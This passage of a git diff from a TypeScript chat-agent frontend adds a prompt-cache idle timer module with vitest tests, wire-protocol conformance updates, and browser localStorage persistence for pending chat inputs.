+ expect(s2.stepStamps.size).toBe(0);
+
+ const s3 = run([[13_000, ev.result("t1", "t1#0", "b")]], s2);
+ expect(s3.running).toBeNull();
+ expect(s3.stepStamps.get("t1#0")).toBe(12_000);
+ });
+
+ it("stamps each step of a multi-step turn separately", () => {
+ const s = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ [3_000, ev.result("t1", "t1#0", "a")],
+ [5_000, ev.call("t1", "t1#1", "b")],
+ [6_000, ev.stepComplete("t1", "t1#1")],
+ [66_000, ev.result("t1", "t1#1", "b")],
+ ]);
+ expect(s.stepStamps.get("t1#0")).toBe(2_000);
+ expect(s.stepStamps.get("t1#1")).toBe(60_000);
+ });
+
+ it("uses the backend tool duration when it exceeds the wall clock (late-join replay burst)", () => {
+ const s = run([
+ [5_000, ev.call("t1", "t1#0", "a")],
+ [5_000, ev.stepComplete("t1", "t1#0")],
+ [5_000, ev.result("t1", "t1#0", "a", 42_000)],
+ ]);
+ expect(s.stepStamps.get("t1#0")).toBe(42_000);
+ });
+
+ it("stops at the next step's output when a result never matched (fallback)", () => {
+ const s = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ [9_000, ev.text("t1")],
+ ]);
+ expect(s.running).toBeNull();
+ expect(s.stepStamps.get("t1#0")).toBe(8_000);
+ });
+
+ it("treats a reasoning-end boundary as resumed output too", () => {
+ const s = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ [9_000, ev.reasoningEnd("t1")],
+ ]);
+ expect(s.running).toBeNull();
+ expect(s.stepStamps.get("t1#0")).toBe(8_000);
+ });
+
+ it("stops on a tool-call or usage from a DIFFERENT step, not its own", () => {
+ const base = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ ]);
+ expect(run([[2_000, ev.usage("t1", "t1#0")]], base).running?.kind).toBe("step");
+ expect(run([[3_000, ev.usage("t1", "t1#1")]], base).stepStamps.get("t1#0")).toBe(2_000);
+ expect(run([[4_000, ev.call("t1", "t1#1", "z")]], base).stepStamps.get("t1#0")).toBe(3_000);
+ });
+
+ it("discards a step with no tool calls (the final step of a turn)", () => {
+ const s = run([
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ [1_050, ev.done("t1")],
+ ]);
+ expect(s.stepStamps.size).toBe(0);
+ expect(s.running).toEqual({ kind: "turn", turnId: "t1", startedAt: 1_050 });
+ });
+
+ it("stamps a step whose tools were still running when the turn ended (stopped)", () => {
+ const s = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ [21_000, ev.done("t1")],
+ ]);
+ expect(s.stepStamps.get("t1#0")).toBe(20_000);
+ expect(s.running?.kind).toBe("turn");
+ });
+});
+
+describe("foldCacheTimerEvent — turn gaps", () => {
+ it("starts at done and is stamped on that turn when the next turn starts", () => {
+ const s = run([
+ [1_000, ev.done("t1")],
+ [91_000, ev.userMessage("t2")],
+ [91_500, ev.turnStart("t2")],
+ ]);
+ expect(s.running).toBeNull();
+ expect(s.turnStamps.get("t1")).toBe(90_000);
+ });
+
+ it("an error also ends the turn", () => {
+ expect(run([[7, ev.error("t1")]]).running).toEqual({
+ kind: "turn",
+ turnId: "t1",
+ startedAt: 7,
+ });
+ });
+
+ it("stopTurnGap stamps on a local send", () => {
+ const s = stopTurnGap(run([[1_000, ev.done("t1")]]), 4_000, noTurn);
+ expect(s.running).toBeNull();
+ expect(s.turnStamps.get("t1")).toBe(3_000);
+ });
+
+ it("stopTurnGap is a no-op while a step gap runs", () => {
+ const base = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ ]);
+ expect(stopTurnGap(base, 2_000, noTurn)).toBe(base);
+ });
+});
+
+describe("seedTurnGap", () => {
+ it("seeds a turn gap with no turnId, stamped on the most recent turn when stopped", () => {
+ const seeded = seedTurnGap(initialCacheTimerState(), 1_000);
+ expect(seeded.running).toEqual({ kind: "turn", turnId: null, startedAt: 1_000 });
+ const s = stopTurnGap(seeded, 61_000, () => "t9");
+ expect(s.turnStamps.get("t9")).toBe(60_000);
+ });
+
+ it("drops a seeded gap when the most recent turn is unknown", () => {
+ const s = stopTurnGap(seedTurnGap(initialCacheTimerState(), 1_000), 2_000, noTurn);
+ expect(s.running).toBeNull();
+ expect(s.turnStamps.size).toBe(0);
+ });
+
+ it("keeps the later start, never overrides a step gap, ignores non-finite", () => {
+ const live = run([[5_000, ev.done("t1")]]);
+ expect(seedTurnGap(live, 4_000).running).toEqual({
+ kind: "turn",
+ turnId: "t1",
+ startedAt: 5_000,
+ });
+ expect(seedTurnGap(live, 6_000).running).toEqual({
+ kind: "turn",
+ turnId: "t1",
+ startedAt: 6_000,
+ });
+ const step = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ ]);
+ expect(seedTurnGap(step, 9_000)).toBe(step);
+ expect(seedTurnGap(initialCacheTimerState(), Number.NaN).running).toBeNull();
+ });
+});
+
+describe("viewCacheTimer", () => {
+ it("formats m:ss up to 10 minutes", () => {
+ expect(viewCacheTimer(0).label).toBe("0:00");
+ expect(viewCacheTimer(9 * SEC + 999).label).toBe("0:09");
+ expect(viewCacheTimer(MIN + 5 * SEC).label).toBe("1:05");
+ expect(viewCacheTimer(5 * MIN + 30 * SEC).label).toBe("5:30");
+ expect(viewCacheTimer(9 * MIN + 59 * SEC).label).toBe("9:59");
+ expect(viewCacheTimer(9 * MIN + 59 * SEC).capped).toBe(false);
+ });
+
+ it("reads '10+ min' and is capped at and past 10 minutes", () => {
+ expect(viewCacheTimer(CACHE_TIMER_MAX_MS)).toEqual({
+ label: "10+ min",
+ level: "error",
+ capped: true,
+ });
+ expect(viewCacheTimer(3 * 60 * MIN).label).toBe("10+ min");
+ });
+
+ it("colours by the 5-minute cache TTL", () => {
+ expect(viewCacheTimer(3 * MIN + 59 * SEC).level).toBe("success");
+ expect(viewCacheTimer(4 * MIN).level).toBe("warning");
+ expect(viewCacheTimer(CACHE_TTL_MS).level).toBe("error");
+ expect(viewCacheTimer(7 * MIN).level).toBe("error");
+ });
+
+ it("clamps negative / non-finite elapsed (clock skew) to 0:00", () => {
+ expect(viewCacheTimer(-5 * SEC).label).toBe("0:00");
+ expect(viewCacheTimer(Number.NaN).label).toBe("0:00");
+ });
+});
+
+function userRow(text = "hi"): MetricsRow {
+ const group: RenderGroup = {
+ kind: "single",
+ chunk: { seq: null, role: "user", chunk: { type: "text", text }, provisional: true },
+ };
+ return { kind: "group", group };
+}
+
+function assistantRow(turnId: string): MetricsRow {
+ const group: RenderGroup = {
+ kind: "single",
+ chunk: {
+ seq: 1,
+ role: "assistant",
+ chunk: { type: "text", text: "ok" },
+ provisional: false,
+ turnId,
+ },
+ };
+ return { kind: "group", group };
+}
+
+function turnRow(turnId: string, turnNumber: number): MetricsRow {
+ const usage = { inputTokens: 10, outputTokens: 5 };
+ const turn: TurnMetrics = { turnId, usage, steps: [{ stepId: `${turnId}#0` as StepId, usage }] };
+ return {
+ kind: "turn-metrics",
+ turn,
+ turnNumber,
+ cumulativeUsage: usage,
+ prevLastStepUsage: null,
+ };
+}
+
+describe("lastTurnRowIndex", () => {
+ it("picks the LAST turn-metrics row", () => {
+ const rows = [
+ userRow(),
+ assistantRow("t1"),
+ turnRow("t1", 1),
+ userRow(),
+ assistantRow("t2"),
+ turnRow("t2", 2),
+ ];
+ expect(lastTurnRowIndex(rows)).toBe(5);
+ });
+
+ it("is null once a user message follows the last turn", () => {
+ expect(lastTurnRowIndex([userRow(), turnRow("t1", 1), userRow("next")])).toBeNull();
+ });
+
+ it("skips trailing non-user rows after the turn row", () => {
+ expect(lastTurnRowIndex([userRow(), turnRow("t1", 1), assistantRow("t1")])).toBe(1);
+ });
+
+ it("is null with no turn-metrics rows", () => {
+ expect(lastTurnRowIndex([])).toBeNull();
+ expect(lastTurnRowIndex([userRow(), assistantRow("t1")])).toBeNull();
+ });
+});
diff --git a/src/core/metrics/cache-timer.ts b/src/core/metrics/cache-timer.ts
new file mode 100644
index 0000000..3d7270d
--- /dev/null
+++ b/src/core/metrics/cache-timer.ts
@@ -0,0 +1,286 @@
+import type { AgentEvent } from "@dispatch/wire";
+import type { MetricsRow } from "./types";
+
+/**
+ * Pure core for the **cache timer** — how long the prompt cache has sat idle
+ * between model requests. Anthropic's prompt cache (as used by the Claude Code
+ * subscription) expires 5 minutes after its last hit, so the gaps BETWEEN
+ * requests decide whether the next request reads from cache:
+ *
+ * - **step gap**: a step (one LLM round-trip) finished and its tools are
+ * executing. Starts at `step-complete`; stops when the step's last tool
+ * result arrives (the next request fires right after) or, failing that, when
+ * anything from the next step shows up. Its final value is **stamped** on
+ * that step (keyed by `stepId`).
+ * - **turn gap**: the turn ended (`done` / `error`) and the conversation is
+ * waiting on the user. Stops when a new message is sent (locally, or a
+ * `user-message` / `turn-start` from another client) and is stamped on that
+ * turn (keyed by `turnId`).
+ *
+ * At most ONE gap runs at a time (`running`). Zero DOM, zero clock: every fold
+ * takes the current time as an argument.
+ */
+
+/** Prompt-cache time-to-live: 5 minutes (drives the badge colour). */
+export const CACHE_TTL_MS = 5 * 60 * 1000;
+
+/** The timer counts up to this, then reads "10+ min". */
+export const CACHE_TIMER_MAX_MS = 10 * 60 * 1000;
+
+/** Within this much of the TTL the timer warns (colour only). */
+const WARN_AT_MS = CACHE_TTL_MS - 60 * 1000;
+
+/** A step gap in progress: the step's tools are executing. */
+export interface RunningStepGap {
+ readonly kind: "step";
+ readonly turnId: string;
+ readonly stepId: string;
+ /** Epoch ms the step completed. */
+ readonly startedAt: number;
+ /** How many tool calls the step made (`0` → nothing to show; never stamped). */
+ readonly toolCount: number;
+ /** Tool calls still awaiting their result. */
+ readonly pending: ReadonlySet<string>;
+ /** Longest backend-reported tool `durationMs` seen so far for this step. */
+ readonly maxToolMs: number;
+}
+
+/** A turn gap in progress: the turn ended and nothing has been sent since. */
+export interface RunningTurnGap {
+ readonly kind: "turn";
+ /**
+ * The turn that ended, or `null` when seeded from the backend's
+ * `lastActivityAt` after a reload (no live `done` seen) — then it belongs to
+ * the most recent turn, resolved positionally / via `lastTurnId` on stop.
+ */
+ readonly turnId: string | null;
+ /** Epoch ms the turn ended. */
+ readonly startedAt: number;
+}
+
+export type RunningGap = RunningStepGap | RunningTurnGap;
+
+export interface CacheTimerState {
+ readonly running: RunningGap | null;
+ /** Stamped step gaps: `stepId` → elapsed ms. */
+ readonly stepStamps: ReadonlyMap<string, number>;
+ /** Stamped turn gaps: `turnId` → elapsed ms. */
+ readonly turnStamps: ReadonlyMap<string, number>;
+ /** Tool calls seen per step in the CURRENT turn (`stepId` → call ids). */
+ readonly calls: ReadonlyMap<string, ReadonlySet<string>>;
+ /** Tool results seen per step in the CURRENT turn (`stepId` → call ids). */
+ readonly results: ReadonlyMap<string, ReadonlySet<string>>;
+ /** Longest tool `durationMs` per step in the CURRENT turn. */
+ readonly toolMs: ReadonlyMap<string, number>;
+}
+
+export function initialCacheTimerState(): CacheTimerState {
+ return {
+ running: null,
+ stepStamps: new Map(),
+ turnStamps: new Map(),
+ calls: new Map(),
+ results: new Map(),
+ toolMs: new Map(),
+ };
+}
+
+function addTo(
+ map: ReadonlyMap<string, ReadonlySet<string>>,
+ key: string,
+ value: string,
+): ReadonlyMap<string, ReadonlySet<string>> {
+ const next = new Map(map);
+ next.set(key, new Set([...(map.get(key) ?? []), value]));
+ return next;
+}
+
+function withEntry(map: ReadonlyMap<string, number>, key: string, value: number) {
+ const next = new Map(map);
+ next.set(key, value);
+ return next;
+}
+
+/**
+ * Stop the running STEP gap (if any). A step that made tool calls is stamped
+ * with `max(wall-clock elapsed, longest backend tool duration)` — the backend
+ * figure keeps a late-join replay (whole step delivered in one burst, ~0
+ * elapsed) honest. A step with no tool calls is discarded.
+ */
+function stopStep(state: CacheTimerState, now: number): CacheTimerState {
+ const r = state.running;
+ if (r === null || r.kind !== "step") return state;
+ if (r.toolCount === 0) return { ...state, running: null };
+ const elapsed = Math.max(0, now - r.startedAt, r.maxToolMs);
+ return { ...state, running: null, stepStamps: withEntry(state.stepStamps, r.stepId, elapsed) };
+}
+
+/**
+ * Stop the running TURN gap (if any) and stamp it on its turn. A seeded gap
+ * (`turnId === null`) is stamped on `lastTurnId()` — the most recent turn's
+ * id — or dropped when that is unknown.
+ */
+export function stopTurnGap(
+ state: CacheTimerState,
+ now: number,
+ lastTurnId: () => string | undefined,
+): CacheTimerState {
+ const r = state.running;
+ if (r === null || r.kind !== "turn") return state;
+ const turnId = r.turnId ?? lastTurnId();
+ if (turnId === undefined) return { ...state, running: null };
+ const elapsed = Math.max(0, now - r.startedAt);
+ return { ...state, running: null, turnStamps: withEntry(state.turnStamps, turnId, elapsed) };
+}
+
+/** A turn ended: close any step gap, forget the turn's tool bookkeeping, start the turn gap. */
+function endTurn(state: CacheTimerState, turnId: string, now: number): CacheTimerState {
+ const s = stopStep(state, now);
+ return {
+ ...s,
+ running: { kind: "turn", turnId, startedAt: now },
+ calls: new Map(),
+ results: new Map(),
+ toolMs: new Map(),
+ };
+}
+
+/**
+ * Fold one live event into the cache-timer state at time `now`. `lastTurnId`
+ * resolves a seeded turn gap's turn when a new turn starts (see
+ * `stopTurnGap`); it is only called in that case.
+ */
+export function foldCacheTimerEvent(
+ state: CacheTimerState,
+ event: AgentEvent,
+ now: number,
+ lastTurnId: () => string | undefined,
+): CacheTimerState {
+ const r = state.running;
+ switch (event.type) {
+ case "user-message":
+ case "turn-start":
+ // A new turn is starting — the user (here or elsewhere) sent a message.
+ return stopTurnGap(state, now, lastTurnId);
+
+ case "tool-call": {
+ // A call from a DIFFERENT step means the next step is already streaming.
+ const s = r?.kind === "step" && r.stepId !== event.stepId ? stopStep(state, now) : state;
+ return { ...s, calls: addTo(s.calls, event.stepId, event.toolCallId) };
+ }
+
+ case "tool-result": {
+ const results = addTo(state.results, event.stepId, event.toolCallId);
+ const dur = event.durationMs ?? 0;
+ const toolMs =
+ dur > (state.toolMs.get(event.stepId) ?? 0)
+ ? withEntry(state.toolMs, event.stepId, dur)
+ : state.toolMs;
+ let s: CacheTimerState = { ...state, results, toolMs };
+ if (r?.kind === "step" && r.stepId === event.stepId) {
+ const pending = new Set(r.pending);
+ pending.delete(event.toolCallId);
+ s = { ...s, running: { ...r, pending, maxToolMs: Math.max(r.maxToolMs, dur) } };
+ // Every tool of the step has returned → the next request fires now.
+ if (pending.size === 0) s = stopStep(s, now);
+ }
+ return s;
+ }
+
+ case "step-complete": {
+ const s = stopStep(stopTurnGap(state, now, lastTurnId), now);
+ const calls = s.calls.get(event.stepId) ?? new Set<string>();
+ const done = s.results.get(event.stepId) ?? new Set<string>();
+ const pending = new Set([...calls].filter((id) => !done.has(id)));
+ return {
+ ...s,
+ running: {
+ kind: "step",
+ turnId: event.turnId,
+ stepId: event.stepId,
+ startedAt: now,
+ toolCount: calls.size,
+ pending,
+ maxToolMs: s.toolMs.get(event.stepId) ?? 0,
+ },
+ };
+ }
+
+ case "text-delta":
+ case "reasoning-delta":
+ case "reasoning-end":
+ case "provider-retry":
+ // Output (or a retry) from the next request: the gap is over.
+ return r?.kind === "step" ? stopStep(state, now) : state;
+
+ case "usage":
+ return r?.kind === "step" && event.stepId !== undefined && event.stepId !== r.stepId
+ ? stopStep(state, now)
+ : state;
+
+ case "done":
+ case "error":
+ return endTurn(state, event.turnId, now);
+
+ default:
+ return state;
+ }
+}
+
+/**
+ * Seed a turn gap from an authoritative "last activity" timestamp (the
+ * backend's `lastActivityAt`, for a conversation that is idle — e.g. after a
+ * reload, when no live `done` was seen). Never overrides a running step gap;
+ * a running turn gap keeps the LATER start. Non-finite input is ignored.
+ */
+export function seedTurnGap(state: CacheTimerState, at: number): CacheTimerState {
+ if (!Number.isFinite(at)) return state;
+ const r = state.running;
+ if (r === null) return { ...state, running: { kind: "turn", turnId: null, startedAt: at } };
+ if (r.kind === "turn" && at > r.startedAt) return { ...state, running: { ...r, startedAt: at } };
+ return state;
+}
+
+// ── View ──────────────────────────────────────────────────────────────────────
+
+/** Formatted cache-timer view: label + colour severity + capped flag. */
+export interface CacheTimerView {
+ /** `"m:ss"` up to 10 minutes, then `"10+ min"`. */
+ readonly label: string;
+ /** Colour by the 5-minute cache TTL (maps to DaisyUI `badge-{level}`). */
+ readonly level: "success" | "warning" | "error";
+ /** Whether the 10-minute display cap was reached (a live timer may stop ticking). */
+ readonly capped: boolean;
+}
+
+/**
+ * Build the view for `elapsedMs`. Colour tracks the cache TTL: success under
+ * 4 min, warning in the last minute, error once the cache has likely expired.
+ * Negative / non-finite elapsed (clock skew) clamps to `0:00`.
+ */
+export function viewCacheTimer(elapsedMs: number): CacheTimerView {
+ const ms = Number.isFinite(elapsedMs) && elapsedMs > 0 ? elapsedMs : 0;
+ const level = ms >= CACHE_TTL_MS ? "error" : ms >= WARN_AT_MS ? "warning" : "success";
+ if (ms >= CACHE_TIMER_MAX_MS) return { label: "10+ min", level, capped: true };
+ const totalSeconds = Math.floor(ms / 1000);
+ const minutes = Math.floor(totalSeconds / 60);
+ const seconds = totalSeconds % 60;
+ return { label: `${minutes}:${seconds.toString().padStart(2, "0")}`, level, capped: false };
+}
+
+/**
+ * Index of the most recent turn's metrics row — the LAST `turn-metrics` row,
+ * provided no user message follows it. Where a SEEDED turn gap (no `turnId`)
+ * renders. `null` when there is no such row.
+ */
+export function lastTurnRowIndex(rows: readonly MetricsRow[]): number | null {
+ for (let i = rows.length - 1; i >= 0; i--) {
+ const row = rows[i];
+ if (row === undefined) continue;
+ if (row.kind === "turn-metrics") return i;
+ if (row.kind === "group" && row.group.kind === "single" && row.group.chunk.role === "user") {
+ return null;
+ }
+ }
+ return null;
+}
diff --git a/src/core/metrics/index.ts b/src/core/metrics/index.ts
index d3c9669..d9df7f5 100644
--- a/src/core/metrics/index.ts
+++ b/src/core/metrics/index.ts
@@ -1,4 +1,19 @@
export {
+ CACHE_TIMER_MAX_MS,
+ CACHE_TTL_MS,
+ type CacheTimerState,
+ type CacheTimerView,
+ foldCacheTimerEvent,
+ initialCacheTimerState,
+ lastTurnRowIndex,
+ type RunningGap,
+ type RunningStepGap,
+ type RunningTurnGap,
+ seedTurnGap,
+ stopTurnGap,
+ viewCacheTimer,
+} from "./cache-timer";
+export {
type ContextUsage,
computeCachePct,
computeContextUsage,
diff --git a/src/core/wire/conformance.test.ts b/src/core/wire/conformance.test.ts
index 2b98ca6..6bafda1 100644
--- a/src/core/wire/conformance.test.ts
+++ b/src/core/wire/conformance.test.ts
@@ -1,4 +1,8 @@
-import type { ChatSendMessage, ConversationHistoryResponse } from "@dispatch/transport-contract";
+import type {
+ ChatSendMessage,
+ ConversationHistoryResponse,
+ WsServerMessage,
+} from "@dispatch/transport-contract";
import type { AgentEvent, StepId, StoredChunk } from "@dispatch/wire";
import { describe, expect, it } from "vitest";
import {
@@ -75,6 +79,7 @@ describe("classifies every AgentEvent type", () => {
{ type: "error", conversationId: "c1", turnId: "t1", message: "oops" },
{ type: "done", conversationId: "c1", turnId: "t1", reason: "complete" },
{ type: "turn-sealed", conversationId: "c1", turnId: "t1" },
+ { type: "turn-ended", conversationId: "c1", turnId: "t1", reason: "sealed" },
{ type: "steering", conversationId: "c1", turnId: "t1", text: "steer mid-turn" },
{
type: "provider-retry",
@@ -103,13 +108,14 @@ describe("classifies every AgentEvent type", () => {
"error",
"done",
"turn-sealed",
+ "turn-ended",
"steering",
"provider-retry",
]);
});
- it("covers all 15 AgentEvent variants", () => {
- expect(samples).toHaveLength(15);
+ it("covers all 16 AgentEvent variants", () => {
+ expect(samples).toHaveLength(16);
});
});
@@ -172,6 +178,23 @@ describe("classifies every WsServerMessage type", () => {
event: { type: "done" as const, conversationId: "c", turnId: "t", reason: "r" },
},
{ type: "chat.error" as const, message: "e" },
+ { type: "chat.accepted" as const, conversationId: "c1", requestId: "r1" },
+ {
+ type: "chat.subscription-rejected" as const,
+ conversationId: "c1",
+ reason: "subscription-limit" as const,
+ },
+ {
+ type: "chat.queued" as const,
+ conversationId: "conv-1",
+ reason: "compaction" as const,
+ messageId: "queued-1",
+ },
+ {
+ type: "chat.resync-required" as const,
+ conversationId: "c1",
+ reason: "replay-limit" as const,
+ },
{ type: "conversation.open" as const, conversationId: "c1", workspaceId: "w1" },
{
type: "conversation.statusChanged" as const,
@@ -184,9 +207,32 @@ describe("classifies every WsServerMessage type", () => {
conversationId: "c1",
newConversationId: "c2",
messagesSummarized: 10,
+ historyEpoch: 0,
messagesKept: 5,
},
+ {
+ type: "conversation.tabGroupChanged" as const,
+ conversationId: "c1",
+ workspaceId: "w1",
+ tabGroupParentId: null,
+ },
+ { type: "extensions-changed" as const, action: "scan" as const },
+ {
+ type: "layout" as const,
+ workspaceId: "w1",
+ tree: { version: 1 as const, root: { kind: "leaf" as const, id: "leaf1", view: "chat" } },
+ },
+ {
+ type: "tile-layout" as const,
+ mode: "wide" as const,
+ data: { version: 2 as const, tiles: [] },
+ },
];
+ // Runtime samples stay exhaustive too, not just the switch guard.
+ const covered: Exclude<WsServerMessage["type"], (typeof msgs)[number]["type"]> extends never
+ ? true
+ : false = true;
+ expect(covered).toBe(true);
const labels = msgs.map(assertWsServerMessageExhaustive);
expect(labels).toEqual([
"catalog",
@@ -195,9 +241,17 @@ describe("classifies every WsServerMessage type", () => {
"error",
"chat.delta",
"chat.error",
+ "chat.accepted",
+ "chat.subscription-rejected",
+ "chat.queued",
+ "chat.resync-required",
"conversation.open",
"conversation.statusChanged",
"conversation.compacted",
+ "conversation.tabGroupChanged",
+ "extensions-changed",
+ "layout",
+ "tile-layout",
]);
});
});
@@ -268,6 +322,7 @@ describe("ConversationHistoryResponse shape is constructible", () => {
it("constructs a response with chunks", () => {
const resp: ConversationHistoryResponse = {
chunks: [{ seq: 1, role: "user", chunk: { type: "text", text: "hi" } }],
+ historyEpoch: 0,
latestSeq: 1,
};
expect(resp.chunks).toHaveLength(1);
@@ -275,7 +330,7 @@ describe("ConversationHistoryResponse shape is constructible", () => {
});
it("constructs an empty (caught-up) response", () => {
- const resp: ConversationHistoryResponse = { chunks: [], latestSeq: 5 };
+ const resp: ConversationHistoryResponse = { chunks: [], historyEpoch: 0, latestSeq: 5 };
expect(resp.chunks).toHaveLength(0);
expect(resp.latestSeq).toBe(5);
});
diff --git a/src/core/wire/conformance.ts b/src/core/wire/conformance.ts
index 855f7ea..eff2330 100644
--- a/src/core/wire/conformance.ts
+++ b/src/core/wire/conformance.ts
@@ -18,6 +18,8 @@ export function assertAgentEventExhaustive(event: AgentEvent): string {
return "text-delta";
case "reasoning-delta":
return "reasoning-delta";
+ case "reasoning-end":
+ return "reasoning-end";
case "tool-call":
return "tool-call";
case "tool-result":
@@ -32,6 +34,8 @@ export function assertAgentEventExhaustive(event: AgentEvent): string {
return "done";
case "turn-sealed":
return "turn-sealed";
+ case "turn-ended":
+ return "turn-ended";
case "step-complete":
return "step-complete";
case "steering":
@@ -83,6 +87,14 @@ export function assertWsServerMessageExhaustive(msg: WsServerMessage): string {
return "error";
case "chat.delta":
return "chat.delta";
+ case "chat.resync-required":
+ return "chat.resync-required";
+ case "chat.accepted":
+ return "chat.accepted";
+ case "chat.subscription-rejected":
+ return "chat.subscription-rejected";
+ case "chat.queued":
+ return "chat.queued";
case "chat.error":
return "chat.error";
case "conversation.open":
diff --git a/src/features/chat/adapter/pending-inputs.ts b/src/features/chat/adapter/pending-inputs.ts
new file mode 100644
index 0000000..5798fdb
--- /dev/null
+++ b/src/features/chat/adapter/pending-inputs.ts
@@ -0,0 +1,49 @@
+import type { PendingInput, PendingInputStorage } from "../pending-inputs";
+
+export function createPendingInputStorage(
+ storage: Storage,
+ conversationId: string,
+): PendingInputStorage {
+ const prefix = `dispatch.pending-inputs:${conversationId}:`;
+ let known = new Map<string, string>();
+ return {
+ load() {
+ const inputs: PendingInput[] = [];
+ const loaded = new Map<string, string>();
+ for (let i = 0; i < storage.length; i++) {
+ const key = storage.key(i);
+ if (key === null || !key.startsWith(prefix)) continue;
+ const raw = storage.getItem(key);
+ if (raw === null) continue;
+ const input = JSON.parse(raw);
+ if (
+ (input?.request?.type !== "chat.send" && input?.request?.type !== "chat.queue") ||
+ input.request.conversationId !== conversationId ||
+ typeof input.request.requestId !== "string" ||
+ key !== prefix + input.request.requestId ||
+ (input.request.type === "chat.send"
+ ? typeof input.request.message !== "string"
+ : typeof input.request.text !== "string") ||
+ (input.rejection !== undefined && typeof input.rejection !== "string")
+ )
+ throw new Error("Invalid saved input");
+ inputs.push(input);
+ loaded.set(input.request.requestId, raw);
+ }
+ known = loaded;
+ return inputs;
+ },
+ save(inputs) {
+ // Per-request keys prevent another browser tab's send/receipt from overwriting ours.
+ // Quota/security failures reach the composer BEFORE it clears its staged input.
+ const next = new Map(inputs.map((input) => [input.request.requestId, JSON.stringify(input)]));
+ for (const [id, raw] of next) {
+ if (known.get(id) !== raw) storage.setItem(prefix + id, raw);
+ }
+ for (const id of known.keys()) {
+ if (!next.has(id)) storage.removeItem(prefix + id);
+ }
+ known = next;
+ },
+ };
+}
diff --git a/src/features/chat/delivery.test.ts b/src/features/chat/delivery.test.ts
new file mode 100644
index 0000000..99ad2d4
--- /dev/null
+++ b/src/features/chat/delivery.test.ts
@@ -0,0 +1,146 @@
+import { describe, expect, it, vi } from "vitest";
+import { createPendingInputStorage } from "./adapter/pending-inputs";
+import { createChatStore } from "./store.svelte";
+import {
+ createFakeCache,
+ createFakeHistorySync,
+ createFakeMetricsSync,
+ createFakeTransport,
+} from "./test-helpers";
+
+function storage(): Storage {
+ const values = new Map<string, string>();
+ return {
+ get length() {
+ return values.size;
+ },
+ getItem: (key) => values.get(key) ?? null,
+ setItem: (key, value) => {
+ values.set(key, value);
+ },
+ removeItem: (key) => {
+ values.delete(key);
+ },
+ clear: () => values.clear(),
+ key: (index) => [...values.keys()][index] ?? null,
+ };
+}
+
+function fixture(saved = storage(), metricsSync = createFakeMetricsSync().impl) {
+ const transport = createFakeTransport();
+ let id = 0;
+ const store = createChatStore({
+ conversationId: "c",
+ createRequestId: () => `request-${++id}`,
+ pendingInputStorage: createPendingInputStorage(saved, "c"),
+ transport: transport.impl,
+ historySync: createFakeHistorySync().impl,
+ metricsSync,
+ cache: createFakeCache().impl,
+ });
+ return { store, transport, saved };
+}
+
+const images = [{ url: "data:image/png;base64,AAAA", mimeType: "image/png" }];
+
+describe("input delivery", () => {
+ it.each([
+ "send",
+ "queueMessage",
+ ] as const)("saves %s input through refresh without automatically retransmitting", (method) => {
+ const f = fixture();
+ f.store[method]("keep me", images);
+ expect(f.store.pendingInputs).toHaveLength(1);
+ f.store.dispose();
+ const reloaded = fixture(f.saved);
+ expect(reloaded.store.pendingInputs).toMatchObject([{ request: { images } }]);
+ expect(JSON.stringify(reloaded.store.pendingInputs)).toContain("keep me");
+ expect(reloaded.transport.sent).toEqual([]);
+ expect(reloaded.transport.sentQueue).toEqual([]);
+ reloaded.store.dispose();
+ });
+
+ it("streamed user echoes and wrong receipts cannot discard an unconfirmed send", () => {
+ const f = fixture();
+ f.store.send("mine", images);
+ f.store.handleDelta({
+ type: "chat.delta",
+ event: { type: "user-message", conversationId: "c", turnId: "t", text: "mine" },
+ });
+ f.store.handleDelta({ type: "chat.accepted", conversationId: "other", requestId: "request-1" });
+ f.store.handleDelta({ type: "chat.accepted", conversationId: "c", requestId: "other" });
+ expect(f.store.pendingInputs).toHaveLength(1);
+ f.store.handleDelta({ type: "chat.accepted", conversationId: "c", requestId: "request-1" });
+ expect(f.store.pendingInputs).toEqual([]);
+ expect(createPendingInputStorage(f.saved, "c").load()).toEqual([]);
+ f.store.dispose();
+ });
+
+ it("retains explicitly rejected input and images for recovery until discarded", () => {
+ const f = fixture();
+ f.store.send("mine", images);
+ f.store.handleDelta({
+ type: "chat.error",
+ conversationId: "c",
+ requestId: "request-1",
+ message: "disk full",
+ });
+ const reloaded = fixture(f.saved);
+ expect(reloaded.store.pendingInputs).toMatchObject([
+ { rejection: "disk full", request: { message: "mine", images } },
+ ]);
+ reloaded.store.discardPendingInput("request-1");
+ expect(createPendingInputStorage(f.saved, "c").load()).toEqual([]);
+ f.store.dispose();
+ reloaded.store.dispose();
+ });
+
+ it.each([
+ "send",
+ "queueMessage",
+ ] as const)("does not clear or transmit %s input if saving fails", (method) => {
+ const saved = storage();
+ saved.setItem = () => {
+ throw new Error("quota exceeded");
+ };
+ const f = fixture(saved);
+ expect(() => f.store[method]("mine", images)).toThrow("quota exceeded");
+ expect(f.store.pendingInputs).toEqual([]);
+ expect(f.store.chunks).toEqual([]);
+ expect(f.transport.sent).toEqual([]);
+ expect(f.transport.sentQueue).toEqual([]);
+ f.store.dispose();
+ });
+
+ it("coalesces a reconnect burst and permits one metrics catch-up after completion", async () => {
+ let resolve!: (value: { turns: [] }) => void;
+ const first = {
+ promise: new Promise<{ turns: [] }>((done) => {
+ resolve = done;
+ }),
+ resolve: (value: { turns: [] }) => resolve(value),
+ };
+ const metricsSync = vi.fn().mockReturnValueOnce(first.promise).mockResolvedValue({ turns: [] });
+ const f = fixture(storage(), metricsSync);
+ for (let i = 0; i < 100; i++) f.store.resync();
+ expect(metricsSync).toHaveBeenCalledTimes(1);
+ first.resolve({ turns: [] });
+ await vi.waitFor(() => expect(metricsSync).toHaveBeenCalledTimes(2));
+ f.store.dispose();
+ });
+});
+
+it("concurrent browser tabs cannot overwrite each other's saved messages or receipts", () => {
+ const saved = storage();
+ const first = createPendingInputStorage(saved, "c");
